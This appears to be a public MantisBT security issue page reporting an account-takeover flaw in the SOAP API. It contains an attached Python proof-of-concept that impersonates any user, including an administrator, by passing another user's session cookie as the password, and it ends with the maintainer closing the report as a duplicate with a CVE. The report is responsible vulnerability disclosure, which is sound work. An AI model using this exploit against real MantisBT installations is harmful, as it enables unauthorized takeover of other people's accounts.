Relationship Graph
View Issue Details
| ID | Project | Category | View Status | Date Submitted | Last Update |
|---|---|---|---|---|---|
| 0037218 | mantisbt | security | public | 2026-05-30 18:03 | 2026-11-22 16:13 |
| Reporter | voraci0us | Assigned To | dregad | ||
| Priority | urgent | Severity | major | Reproducibility | always |
| Status | closed | Resolution | duplicate | ||
| Product Version | 2.28.3 | ||||
| Summary | 0037218: Account Takeover via SOAP API | ||||
| Description | I've found an issue where any authenticated user can impersonate any other user, including administrator, via the SOAP API. In api/soap/mc_api.php, mci_check_login() (lines 0000303:0000484-495), the cookie lookup only checks that the cookie is valid for some user. It does not verify that the cookie belongs to $p_username. It then calls auth_attempt_script_login($p_username) with a NULL password, which skips the password check entirely (see core/authentication_api.php line ~712: if( null !== $t_password )). | ||||
| Steps To Reproduce | PoC script atttached. You need the low-privileged user's cookie and the username of the account you want to take over. | ||||
| Additional Information | My Github username is @voraci0us | ||||
| Tags | No tags attached. | ||||
| Attached Files | mantisbt_account_takeover.py (983 bytes)
from zeep import Client
from zeep.transports import Transport
from zeep.exceptions import Fault
import requests
MANTIS_URL = "http://WHATEVER/api/soap/mantisconnect.php"
REPORTER_COOKIE = "AUTH TOKEN OF ANY USER"
ADMIN_USERNAME = "USERNAME OF ACCOUNT YOU WANT TO TAKE OVER"
WSDL_URL = f"{MANTIS_URL}?wsdl"
session = requests.Session()
transport = Transport(session=session)
client = Client(wsdl=WSDL_URL, transport=transport)
# Step 1: Confirm admin login with WRONG password fails
try:
client.service.mc_login(ADMIN_USERNAME, "wrongpassword")
print("UNEXPECTED: wrong password succeeded")
except Fault as e:
print(f"EXPECTED failure with wrong password: {e.message}")
except Exception as e:
print(f"EXPECTED failure with wrong password: {e}")
# Step 2: Use reporter cookie_string as admin password
result = client.service.mc_login(ADMIN_USERNAME, REPORTER_COOKIE)
print(f"Logged in as: {result.account_data.name}")
print(f"Access level: {result.access_level}")
| ||||
|
Many thanks for your report. This vulnerability is already known, it was reported to us a couple weeks ago by another researcher (see 0037121, currently private). CVE-2026-47156 has been assigned. A patch is pending review and should be released in the next few days I'm closing this as duplicate. |
|
related to
child of
duplicate of